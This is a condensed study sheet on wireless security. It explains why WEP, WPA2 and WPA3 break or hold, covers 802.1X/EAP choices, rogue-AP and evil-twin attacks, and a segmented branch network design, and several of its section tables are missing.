Key Takeaways: Wireless Security

A one-page reference. Reread before an exam or before moving on. Dense by design.

The one idea

Wireless removes the cable's physical access control — the network leaves the building. Assume the medium is observed and writable by an unauthenticated attacker. Therefore: encrypt everything, authenticate strongly, segment ruthlessly. Segmentation is the keystone — it makes wireless compromise survivable when every other control fails.

WiFi protocol evolution (memorize this table)

Decision rule: WPA3 if you can → WPA2-AES with a long random passphrase if you must → never WPA/WEP.

• WEP dies of IV reuse (24-bit IV repeats → key leaks). Not a passphrase problem; cannot be fixed by a longer key.
• WPA2-Personal dies of offline guessing: capture the 4-way handshake (passively, or force it with a deauth) → guess passphrase offline → security ≈ passphrase strength + secrecy.
• WPA3-Personal (SAE) fix: captured handshake can't be brute-forced offline; each guess needs a live, rate-limited, detectable exchange. Adds forward secrecy.
• KRACK (2017, WPA2) and Dragonblood (2019, WPA3) = implementation bugs, fixed by patches → patch wireless infrastructure and clients.

PSK vs. Enterprise (the scale decision)

802.1X roles: supplicant (device) → authenticator (AP/switch = gatekeeper, blocks all traffic until OK) → authentication server (RADIUS + AD/Entra = makes the decision). EAP = an extensible container for auth methods; RADIUS carries it to the server.

EAP methods

Rule: EAP-TLS where devices are managed; PEAP only with rigorously enforced, pinned server-cert validation. PEAP-with-validation-off = credential-harvesting trap (and the harvested AD password works for email/VPN too).

Wireless attacks → detection → prevention

• Rogue AP ≠ evil twin: rogue AP defined by network connection; evil twin defined by impersonation. Often combined.
• Deauth is a lever, not the goal: forces reconnect → enables handshake capture + evil-twin luring. PMF kills it.
• You can't stop transmission in a parking lot → detect fast (WIDS) + contain (segment).

Bluetooth & NFC (proportionate, not panic)

Meridian branch wireless design (the §8.6 architecture)

Staff  → WPA3-Enterprise (802.1X/EAP-TLS) → VLAN 10 → internal apps (least priv)
Guest  → WPA3 Enhanced Open + captive portal + client isolation → VLAN 90 → INTERNET ONLY, deny all internal
Ops/IoT→ WPA3-Personal (strong unique PSK) → VLAN 50 → deny internet, deny staff/guest
+ 802.11w/PMF everywhere · WIDS across branches · DEFAULT-DENY between all segments

• The firewall rules between segments are the security; SSIDs/VLANs are just labels. DENY guest → staff is the line that protects the tellers.
• Audit enforcement, not configuration — the dangerous window is when VLAN is changed but the firewall rule isn't.

Certification crosswalk

Project additions this chapter

• Meridian program: the wireless policy (protocols permitted/prohibited; staff = WPA-Enterprise/EAP-TLS; guest isolated; IoT segmented; PMF required; WIDS required; rogue APs prohibited) — joins the Ch.6–7 network architecture.
• bluekit toolkit: wifiaudit.py — assess_wifi(cfg) grades one wireless config against the policy (weak protocol, short PSK, staff-not-Enterprise, EAP-without-cert-validation, guest-not-isolated, PMF-off).

Common pitfalls

• Thinking a long WEP key helps (the break is in the protocol, not the passphrase).
• Hiding the SSID as a "security control" (it's broadcast in cleartext; stops only casual users, breaks some clients).
• Deploying PEAP and assuming it's safe without enforcing server-certificate validation.
• Treating guest WiFi as harmless — it's safe only if genuinely isolated; one convenience allow-rule breaks it.
• Calling a rogue AP harmless because it's not malicious (it's still an unauthenticated bridge inside).
• Auditing the wireless config but not the firewall rules that actually enforce isolation.
• Forgetting that wireless gear needs patching (KRACK, Dragonblood, BlueBorne).